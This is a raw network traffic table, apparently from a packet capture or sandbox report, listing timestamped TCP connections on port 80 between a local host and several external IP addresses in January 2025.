Jan 10, 2025 23:24:47.279637098 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.282398939 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.282457113 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.282931089 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.285461903 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.285525084 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.285832882 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.288495064 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.288559914 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.288762093 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.291506052 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.291598082 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.292016029 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.294460058 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.294517040 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.294991016 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.297411919 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.297614098 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.297930002 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.300302029 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.300396919 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.300612926 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.303159952 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.303246975 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.303551912 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.305908918 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.305999041 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.306339979 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.308734894 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.308897018 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.309134007 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.311386108 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.311441898 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.311708927 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.314266920 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.314356089 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.314568043 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.316884041 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.316971064 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.317260027 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.319550991 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.319607973 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.319960117 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.322087049 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.322175026 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.322623968 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.324752092 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.324827909 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.325287104 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.327296019 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.327382088 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.327672958 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.329843044 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.329936028 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.330169916 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.332595110 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.332670927 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.332953930 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.334865093 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.335110903 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.335532904 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.337388039 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.337446928 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.337779999 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.339756966 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.339811087 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.340262890 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.342170000 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.342375040 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.342793941 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.344578028 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.344634056 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.344846010 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.347029924 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.347104073 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.347352982 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.349522114 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.349608898 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.349880934 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.351739883 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.351996899 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.352341890 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.354144096 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.354222059 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.354635000 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.356590033 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.356667995 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.356986046 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.358902931 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.358998060 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.359288931 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.361202955 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.361258030 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.361742020 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.363480091 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.363579035 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.363864899 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.365708113 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.365777969 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.365997076 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.368063927 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.368154049 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.368596077 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.370237112 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.370343924 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.370625019 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.372522116 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.372617006 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.373034954 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.374700069 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.374782085 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.375096083 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.376885891 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.377125025 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.377449989 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.379121065 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.379175901 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.379632950 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.381287098 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.381475925 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.381752968 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.383405924 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.383501053 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.383780956 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.385611057 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.385667086 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.385900974 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.387866020 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.387924910 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.388279915 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.389859915 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.389933109 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.390255928 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.392041922 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.392126083 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:47.392343998 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.394253969 CET	49801	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:47.566221952 CET	80	49801	63.250.43.134	192.168.11.20
Jan 10, 2025 23:26:17.257385015 CET	49814	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:26:17.469474077 CET	80	49814	161.97.142.144	192.168.11.20
Jan 10, 2025 23:26:17.469799042 CET	49814	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:26:17.476731062 CET	49814	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:26:17.688527107 CET	80	49814	161.97.142.144	192.168.11.20
Jan 10, 2025 23:26:17.689002991 CET	80	49814	161.97.142.144	192.168.11.20
Jan 10, 2025 23:26:17.689088106 CET	80	49814	161.97.142.144	192.168.11.20
Jan 10, 2025 23:26:17.689168930 CET	80	49814	161.97.142.144	192.168.11.20
Jan 10, 2025 23:26:17.689388037 CET	49814	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:26:17.689388037 CET	49814	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:26:17.693043947 CET	49814	80	192.168.11.20	161.97.142.144
Jan 10, 2025 23:26:17.904722929 CET	80	49814	161.97.142.144	192.168.11.20
Jan 10, 2025 23:26:22.696650028 CET	49815	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:23.021294117 CET	80	49815	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:23.021482944 CET	49815	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:23.032587051 CET	49815	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:23.356508017 CET	80	49815	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:23.356756926 CET	80	49815	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:23.356934071 CET	80	49815	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:23.357151985 CET	49815	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:24.537895918 CET	49815	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:25.555349112 CET	49816	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:25.879915953 CET	80	49816	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:25.880204916 CET	49816	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:25.891320944 CET	49816	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:26.216064930 CET	80	49816	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:26.216300011 CET	80	49816	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:26.216346979 CET	80	49816	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:26.216543913 CET	49816	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:27.396707058 CET	49816	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:28.414166927 CET	49817	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:28.745179892 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:28.745435953 CET	49817	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:28.757991076 CET	49817	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:28.758038998 CET	49817	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:28.758090019 CET	49817	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:29.089083910 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:29.089123964 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:29.089133978 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:29.089462996 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:29.089476109 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:29.089731932 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:29.089983940 CET	80	49817	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:29.090121031 CET	49817	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:30.270950079 CET	49817	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.288655043 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.619877100 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.620052099 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.626949072 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.958029985 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.958420038 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.958664894 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.958781958 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.958842993 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.958904028 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.959017992 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.959093094 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.959106922 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.959249973 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.959249973 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.959300041 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:31.959613085 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:31.961585045 CET	49818	80	192.168.11.20	107.155.56.30
Jan 10, 2025 23:26:32.292453051 CET	80	49818	107.155.56.30	192.168.11.20
Jan 10, 2025 23:26:36.974782944 CET	49819	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:37.307598114 CET	80	49819	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:37.307837963 CET	49819	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:37.318911076 CET	49819	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:37.651632071 CET	80	49819	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:37.651721954 CET	80	49819	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:37.651746988 CET	80	49819	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:37.651900053 CET	49819	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:38.831594944 CET	49819	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:39.849219084 CET	49820	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:40.182348013 CET	80	49820	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:40.182502985 CET	49820	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:40.193622112 CET	49820	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:40.526532888 CET	80	49820	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:40.526582956 CET	80	49820	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:40.526613951 CET	80	49820	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:40.526802063 CET	49820	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:41.705975056 CET	49820	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:42.723488092 CET	49821	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:43.065049887 CET	80	49821	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:43.065223932 CET	49821	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:43.076499939 CET	49821	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:43.076549053 CET	49821	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:43.417879105 CET	80	49821	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:43.417926073 CET	80	49821	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:43.418193102 CET	80	49821	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:43.418266058 CET	80	49821	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:43.418854952 CET	80	49821	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:43.418898106 CET	80	49821	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:43.419008970 CET	49821	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:44.580348969 CET	49821	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:45.597889900 CET	49822	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:45.933999062 CET	80	49822	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:45.934216976 CET	49822	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:45.941148043 CET	49822	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:46.276897907 CET	80	49822	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:46.277038097 CET	80	49822	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:46.277051926 CET	80	49822	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:46.277373075 CET	49822	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:46.279244900 CET	49822	80	192.168.11.20	13.228.81.39
Jan 10, 2025 23:26:46.614909887 CET	80	49822	13.228.81.39	192.168.11.20
Jan 10, 2025 23:26:59.469892025 CET	49823	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:26:59.645456076 CET	80	49823	209.74.77.107	192.168.11.20
Jan 10, 2025 23:26:59.645706892 CET	49823	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:26:59.656794071 CET	49823	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:26:59.828840017 CET	80	49823	209.74.77.107	192.168.11.20
Jan 10, 2025 23:26:59.834395885 CET	80	49823	209.74.77.107	192.168.11.20
Jan 10, 2025 23:26:59.834407091 CET	80	49823	209.74.77.107	192.168.11.20
Jan 10, 2025 23:26:59.834703922 CET	49823	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:01.170555115 CET	49823	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:02.187973976 CET	49824	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:02.360281944 CET	80	49824	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:02.360404968 CET	49824	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:02.371495962 CET	49824	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:02.543778896 CET	80	49824	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:02.550775051 CET	80	49824	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:02.550786972 CET	80	49824	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:02.550915003 CET	49824	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:03.873034954 CET	49824	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:04.890535116 CET	49825	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:05.062954903 CET	80	49825	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:05.063117027 CET	49825	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:05.074395895 CET	49825	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:05.074420929 CET	49825	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:05.074497938 CET	49825	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:05.260996103 CET	80	49825	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:05.261004925 CET	80	49825	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:05.268665075 CET	80	49825	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:05.268676043 CET	80	49825	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:05.268891096 CET	49825	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:06.575510979 CET	49825	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:07.592984915 CET	49826	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:07.765541077 CET	80	49826	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:07.765788078 CET	49826	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:07.772687912 CET	49826	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:07.944808960 CET	80	49826	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:07.950284958 CET	80	49826	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:07.950295925 CET	80	49826	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:07.950510979 CET	49826	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:07.952474117 CET	49826	80	192.168.11.20	209.74.77.107
Jan 10, 2025 23:27:08.124602079 CET	80	49826	209.74.77.107	192.168.11.20
Jan 10, 2025 23:27:12.966936111 CET	49827	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:13.305552959 CET	80	49827	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:13.305764914 CET	49827	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:13.316858053 CET	49827	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:13.655282974 CET	80	49827	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:13.719614029 CET	80	49827	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:13.719624043 CET	80	49827	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:13.719808102 CET	49827	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:14.823771954 CET	49827	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:15.841306925 CET	49828	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:16.178817034 CET	80	49828	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:16.179003000 CET	49828	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:16.190345049 CET	49828	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:16.528181076 CET	80	49828	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:16.602446079 CET	80	49828	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:16.602489948 CET	80	49828	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:16.602684975 CET	49828	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:17.698093891 CET	49828	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:18.715590000 CET	49829	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:19.051680088 CET	80	49829	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:19.051956892 CET	49829	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:19.063220024 CET	49829	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:19.063242912 CET	49829	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:19.063316107 CET	49829	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:19.399436951 CET	80	49829	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:19.399565935 CET	80	49829	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:19.399838924 CET	80	49829	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:19.400099993 CET	80	49829	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:19.478245020 CET	80	49829	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:19.478458881 CET	80	49829	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:19.478662968 CET	49829	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:20.572434902 CET	49829	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:21.589917898 CET	49830	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:21.932142019 CET	80	49830	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:21.932287931 CET	49830	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:21.939202070 CET	49830	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:22.281500101 CET	80	49830	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:22.335947990 CET	80	49830	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:22.335969925 CET	80	49830	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:22.336256981 CET	49830	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:22.340074062 CET	49830	80	192.168.11.20	154.205.159.116
Jan 10, 2025 23:27:22.682264090 CET	80	49830	154.205.159.116	192.168.11.20
Jan 10, 2025 23:27:27.354397058 CET	49831	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:27.472923040 CET	80	49831	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:27.473140001 CET	49831	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:27.484294891 CET	49831	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:27.602890015 CET	80	49831	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:28.992477894 CET	49831	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:29.151010990 CET	80	49831	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:30.010009050 CET	49832	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:30.128622055 CET	80	49832	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:30.128793955 CET	49832	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:30.139867067 CET	49832	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:30.258622885 CET	80	49832	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:31.191010952 CET	80	49832	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:31.191056967 CET	80	49832	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:31.191227913 CET	49832	80	192.168.11.20	3.33.130.190
